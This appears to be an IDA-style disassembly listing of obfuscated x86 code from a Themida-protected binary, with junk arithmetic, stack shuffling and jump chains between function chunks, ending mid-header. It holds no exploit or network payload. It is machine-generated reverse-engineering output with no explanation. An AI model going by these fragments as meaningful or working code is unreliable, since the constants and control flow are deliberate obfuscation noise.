sub_5722C8	proc near		; CODE XREF: sub_562BA0+23A9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00566D02 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056751C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00569270 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A502 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D2F3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056D503 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572A86 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573CBB SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp-8+arg_4], edx
		push	[esp-8+arg_8]
		pop	edx
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56A502
sub_5722C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_57230B:				; CODE XREF: sub_56AB5E+3210j
		push	6C24h
		jmp	loc_56B6F5
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_572315:				; CODE XREF: sub_570732+35AEj
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568DD7


loc_572323:				; CODE XREF: sub_568DD7+36j
		push	dword ptr [esp+0]
		jmp	loc_572448
; END OF FUNCTION CHUNK	FOR sub_568DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_57232B:				; CODE XREF: sub_56102D+AD93j
		push	[esp+8+var_4]
		pop	ecx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_5694CA
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_57233B:				; CODE XREF: sub_564D26-4227j
		pop	esi
		push	edi
		mov	edi, 5B461C9Ah
		and	esi, edi
		jmp	loc_571055
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_572349:				; CODE XREF: sub_5692D3-1436j
		add	[esp+0Ch+var_8], esi
		jmp	loc_565F4F
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_572352:				; CODE XREF: sub_567CFE-63CEj
		and	ebp, 3CA454D2h
		push	eax
		mov	eax, 4D911331h
		and	eax, 78AE3689h
		xor	eax, 47FA38BEh
		jmp	loc_561A9B
; END OF FUNCTION CHUNK	FOR sub_567CFE

; =============== S U B	R O U T	I N E =======================================



sub_57236D	proc near		; CODE XREF: sub_568E5C+4B9Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561B9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005666E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567553 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00568BD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CAB6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D83B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056DA80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057026E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00571716 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	edx, [esp+4+var_4]
		push	5487h
		mov	[esp+8+var_8], eax
		mov	eax, esp
		push	esi
		jmp	loc_571716
sub_57236D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_572389:				; CODE XREF: sub_56E0CB-79D1j
		dec	ebx
		xchg	esi, ebx
		jmp	loc_572A95
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_572391:				; CODE XREF: sub_5620B7+6A54j
		pop	ecx
		pop	edx
		pop	ecx
		mov	bl, al
		jmp	loc_57389D
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------


loc_57239B:				; CODE XREF: Themida_:0056A1A3j
		add	ebp, 352C421Ch
		pop	eax
		add	ebp, esi
		sub	ebp, 501C5826h
		pop	esi
		push	esi
		jmp	loc_572701
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_5723B1:				; CODE XREF: sub_56D359-3CD2j
		sub	[esp+10h+var_C], 6A99708Ch
		sub	[esp+10h+var_C], 44AB068Eh
		add	[esp+10h+var_C], edx
		push	edi
		jmp	loc_56464F
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5723CB:				; CODE XREF: sub_563819+1C9j
		xor	esi, 63946F38h
		mov	edx, esi
		mov	esi, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5743BF
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------


loc_5723EA:				; CODE XREF: Themida_:0056E80Aj
		or	ebx, 0DA60A94h
		xor	ebx, 3DBF1BDFh
		add	eax, 5AA32EB7h
		jmp	loc_573620
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_572400:				; CODE XREF: sub_574896-145ECj
		push	eax
		push	[esp+arg_0]
		mov	eax, [esp+4+var_4]
		push	5078h
		jmp	loc_565DD1
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FAE2


loc_572412:				; CODE XREF: sub_56FAE2-6A4Ej
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		xchg	ebx, [esp-0Ch+arg_8]
		pop	esp
		push	small 4836h
		jmp	loc_57430C
; END OF FUNCTION CHUNK	FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_572426:				; CODE XREF: sub_56616D-4EC5j
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_565787
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56626B


loc_57243D:				; CODE XREF: sub_56626B-1827j
		shr	bh, 4
		xor	bh, 0Bh
		jmp	loc_573561
; END OF FUNCTION CHUNK	FOR sub_56626B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568DD7


loc_572448:				; CODE XREF: sub_568DD7+954Fj
		pop	esi
		add	esp, 4
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		test	ecx, eax
		pushf
		jmp	loc_564DAE
; END OF FUNCTION CHUNK	FOR sub_568DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_57245A:				; CODE XREF: sub_571088-7E6j
		mov	ecx, [esp+2+var_4+2]
		jmp	loc_565EA5
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_572462:				; CODE XREF: sub_571289+229Ej
		pop	ecx
		push	3F55h
		mov	[esp+0], ebx
		jmp	loc_5725D6
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_572470:				; CODE XREF: sub_569DB5-31BCj
		push	esp
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_567105
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_572479:				; CODE XREF: sub_569A84-4B5Ej
		cmp	cl, al
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_572481:				; CODE XREF: sub_574000-D859j
		add	ebp, 0AB5AC14Bh
		add	edi, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		sub	edi, esi
		sub	edi, 26A1269Ch
		pop	esi
		add	eax, 38AC7C7Eh
		sub	eax, 24845C9Bh
		add	eax, edi
		add	eax, 24845C9Bh
		sub	eax, 38AC7C7Eh
		mov	edi, [esp+8+var_8]
		push	esi
		push	esp
		mov	esi, [esp+10h+var_10]
		jmp	loc_571631
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_5724BB:				; CODE XREF: sub_5726FB-11F48j
		mov	[esp+4+var_4], edx
		jmp	sub_5637A1
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_5724C3:				; CODE XREF: sub_5673C3-128Aj
		sub	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5701A7
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_5724D3:				; CODE XREF: sub_574F16-14DB0j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp+6+var_6]
		pop	esp
		mov	dword ptr [esp+2+var_2], ebx
		jmp	loc_56694D
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_5724F0:				; CODE XREF: sub_56C4FF+Dj
		dec	ebp
		dec	ebp
		push	ebp
		not	[esp+0Ch+var_C]
		pop	ebp
		jmp	loc_56081D
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C553


loc_5724FC:				; CODE XREF: sub_56C553-B1EBj
		xor	edi, 65502173h
		add	ecx, edi
		mov	edi, [esp+14h+var_14]
		jmp	loc_562583
; END OF FUNCTION CHUNK	FOR sub_56C553
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_57250C:				; CODE XREF: sub_56749A-7313j
		push	esp
		jmp	loc_5621DF
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_572512:				; CODE XREF: sub_568646-65EBj
		pop	eax
		jmp	loc_5603CA
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_572518:				; CODE XREF: sub_56BD44-23C5j
		push	4DC7h
		mov	[esp+4+var_4], edi
		push	9E4h
		mov	[esp+8+var_8], esp
		jmp	loc_56A50C
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_57252D:				; CODE XREF: sub_5678CB+9ABEj
		pop	ebp
		sub	edi, 1BC1B39h
		add	edi, eax
		add	edi, 1BC1B39h
		add	edi, 63F30ABEh
		pop	eax
		jmp	loc_56BC6F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_572548:				; CODE XREF: sub_56351E+75E8j
		mov	ebp, 407B0EBCh
		jmp	loc_5668C4
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_572552:				; CODE XREF: sub_5692D3-337Ej
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_569024
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_57255B:				; CODE XREF: sub_56C83E-870Fj
		mov	eax, 90A2E353h
		sub	edx, eax
		pop	eax
		xor	eax, edx
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_56AF3F
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_57256E:				; CODE XREF: sub_5726FB-6841j
		sub	edi, 4
		push	edi
		push	[esp+8+var_4]
		pop	edi
		jmp	loc_566FE9
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_57257C:				; CODE XREF: sub_56B71F+Bj
		mov	[esp+8+var_8], eax
		mov	eax, 5D8D363Ch
		push	edx
		mov	edx, 6F121E77h
		jmp	loc_5683CF
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_57258F:				; CODE XREF: sub_565632+5386j
		mov	[esp-0Ch+arg_8], edx
		push	60945FDh
		jmp	loc_56BBC6
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716F1


loc_57259C:				; CODE XREF: sub_5716F1-D8B2j
		push	edi
		mov	edi, 42DD0CA6h
		or	edi, 57F4367Dh
		add	edi, 343A26E4h
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		xor	edi, eax
		jmp	loc_571DD6
; END OF FUNCTION CHUNK	FOR sub_5716F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5725BB:				; CODE XREF: sub_571F6F+AFBj
		add	bl, 97h
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_569DDE
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5725D0:				; CODE XREF: sub_567D31+C5A9j
		pop	edx
		jmp	loc_566C55
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_5725D6:				; CODE XREF: sub_571289+11E2j
		push	1E9A56D4h
		pop	ebx
		push	esi
		mov	esi, 65DB1A03h
		not	esi
		jmp	loc_56F080
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5725E9:				; CODE XREF: sub_56FA15-987Cj
		add	cl, dh
		add	cl, 7Fh
		mov	edx, [esp+0Eh+var_10+2]
		push	eax
		push	esp
		pop	eax
		jmp	loc_56B72F
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_5725F9:				; CODE XREF: sub_574CBE-2682j
		shl	edx, 3
		push	ebp
		mov	ebp, 10BFE23Dh
		sub	edx, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		push	esi
		push	2887h
		mov	[esp+18h+var_18], ebx
		mov	ebx, 553814ADh
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		push	edi
		jmp	loc_564862
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_572628:				; CODE XREF: sub_571F6F-D53j
		or	dl, ah
		pop	ax
		jmp	loc_5667C4
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560066


loc_572631:				; CODE XREF: sub_560066+9j
		mov	edx, [esp+0]
		jmp	sub_5610CE
; END OF FUNCTION CHUNK	FOR sub_560066
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_572639:				; CODE XREF: sub_574CBE-5DF5j
		shr	edx, 4
		jmp	loc_5725F9
; END OF FUNCTION CHUNK	FOR sub_574CBE

; =============== S U B	R O U T	I N E =======================================



sub_572641	proc near		; DATA XREF: Themida_:0055FF1Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560950 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005614D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056406A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564A0A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564F33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565693 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005658A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566E32 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00569E95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569F11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569FEE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056A4EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B61F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056C42E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DAC8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005705C9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0057189C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572746 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005729FF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00573441 SIZE 00000009 BYTES

		lodsb
		push	5991h
		mov	[esp+4+var_4], ecx
		push	eax
		jmp	loc_56A4EC
sub_572641	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_572650:				; CODE XREF: sub_566117+78AEj
		pop	ecx
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_572E55
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_57265C:				; CODE XREF: sub_5678CB+A148j
		push	ax
		mov	ah, 0C7h
		sub	dh, ah
		pop	ax
		jmp	loc_567838
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_572669	proc near		; CODE XREF: sub_5716A0-FE16j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560268 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561B33 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00561DDC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056565A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567A54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568537 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056EC70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F8C9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FAAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057000B SIZE 0000000E BYTES

		push	ebx
		jmp	loc_56565A
sub_572669	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57266F	proc near		; DATA XREF: Themida_:0055FCF8o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
sub_57266F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_57267E:				; CODE XREF: sub_572E16-20FAj
		add	ecx, 286C3D2Dh
		add	ecx, 7677892h
		sub	ecx, 6DCC2713h
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 8
		jmp	loc_56F8E0
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_57269B:				; CODE XREF: sub_56C38F+2Bj
		pop	ecx
		jmp	loc_5693A8
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5726A1:				; CODE XREF: sub_57549C-D03Bj
		mov	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 1E7D67C6h
		sub	eax, 793E7FB0h
		sub	eax, ebp
		add	eax, 793E7FB0h
		jmp	loc_5629EB
; END OF FUNCTION CHUNK	FOR sub_57549C

; =============== S U B	R O U T	I N E =======================================



sub_5726BB	proc near		; CODE XREF: sub_569DB5+7CFAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056784B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057103F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057473A SIZE 00000011 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56784B
sub_5726BB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_5726C9:				; CODE XREF: sub_56E4D4+3420j
		mov	ebx, [esp+0Ch+var_C]
		jmp	sub_56ABD0
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5726D1:				; CODE XREF: sub_564D26+B871j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	sub_569193
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5726EB:				; CODE XREF: sub_57354D+C33j
		xor	ebp, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5728F1
; END OF FUNCTION CHUNK	FOR sub_57354D

; =============== S U B	R O U T	I N E =======================================



sub_5726FB	proc near		; DATA XREF: Themida_:0055FD90o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005607AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562784 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566FE9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005671F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568E3F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BEB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005724BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057256E SIZE 0000000E BYTES

		push	edi
		jmp	loc_5671F8
sub_5726FB	endp

; ---------------------------------------------------------------------------


loc_572701:				; CODE XREF: Themida_:005723ACj
		mov	esi, 5790801Fh
		sub	ebp, esi
		pop	esi
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_564E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_572725:				; CODE XREF: sub_561418+1258Cj
		push	174135EBh
		pop	edi
		sub	edx, edi
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		add	ecx, edx
		pop	edx
		push	3DE9h
		mov	[esp+14h+var_14], eax
		jmp	loc_56936F
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_572746:				; CODE XREF: sub_572641+E04j
		push	7BD2h
		jmp	loc_56B61F
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_572750:				; CODE XREF: sub_571F6F-10145j
		inc	edi
		not	edi
		add	edi, 62E85AC3h
		inc	edi
		jmp	loc_570BEC
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_57275F:				; CODE XREF: sub_564D26-2D77j
		add	[esp+0Ch+var_8], eax
		jmp	loc_56549E
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_572768:				; CODE XREF: sub_57354D-6FE7j
		sub	ebx, 413A1557h
		shl	ebx, 1
		not	ebx
		sub	ebx, 0D315987Eh
		jmp	loc_560703
; ---------------------------------------------------------------------------


loc_57277D:				; CODE XREF: sub_57354D-1059Fj
		add	esi, ecx
		add	esi, 6CD5132Dh
		push	ecx
		mov	ecx, 6B9519CBh
		add	esi, ecx
		pop	ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5696C6
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_57279F:				; CODE XREF: sub_575315-DA76j
		add	ebx, ecx
		sub	ebx, 59517FC3h
		jmp	loc_563593
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5727AC:				; CODE XREF: sub_57354D-F594j
		push	225Eh
		mov	[esp+0Ch+var_C], ebp
		push	[esp+0Ch+var_8]
		jmp	loc_5736EC
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_5727BD:				; CODE XREF: sub_574896-6722j
		mov	eax, esp
		jmp	loc_56D5A5
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_5727C4:				; CODE XREF: sub_565B6E-306j
		push	4DF61784h
		pop	edi
		mov	ecx, edi
		jmp	loc_56866E
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5727D1:				; CODE XREF: sub_571C93-E71j
		sub	ecx, 0D056B4h
		jmp	loc_569EFB
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_5727DC:				; CODE XREF: sub_56241E+59F7j
		add	di, 99FDh
		jmp	loc_56EDE3
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5727E6:				; CODE XREF: sub_561027+3415j
		xor	ebp, 394F2F70h
		push	7212h
		mov	[esp+20h+var_20], edi
		jmp	loc_573A4F
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56925C


loc_5727F9:				; CODE XREF: sub_56925C+Fj
		sub	edi, 287E09D3h
		pop	ebp
		jmp	sub_560056
; END OF FUNCTION CHUNK	FOR sub_56925C

; =============== S U B	R O U T	I N E =======================================



sub_572805	proc near		; DATA XREF: Themida_:0055FD78o

var_6		= dword	ptr -6

; FUNCTION CHUNK AT 0056B0B5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005701AF SIZE 00000009 BYTES

		lodsb
		push	bx
		push	2231h
		mov	[esp+6+var_6], edx
		mov	dl, 4Bh
		not	dl
		neg	dl
		or	dl, 9Ah
		jmp	loc_5701AF
sub_572805	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_57281E:				; CODE XREF: sub_571088-10C3Fj
		xor	cl, 63h
		jmp	loc_5708A0
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_572826:				; CODE XREF: sub_565849-3D97j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_56F132
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_57283A:				; CODE XREF: sub_56D69D+3Bj
		mov	edx, 46FA2296h
		mov	ebp, edx
		jmp	loc_563AF2
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------


loc_572846:				; CODE XREF: Themida_:0056C27Ej
		inc	esi
		push	ecx
		jmp	loc_56FF62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56331C


loc_57284D:				; CODE XREF: sub_56331C+8EDCj
		mov	ecx, [esp-8+arg_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_560A69
; END OF FUNCTION CHUNK	FOR sub_56331C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_572864:				; CODE XREF: sub_566DFE-4FC6j
		push	eax
		jmp	loc_56E7E5
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------


loc_57286A:				; CODE XREF: Themida_:00562C1Aj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56F25B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


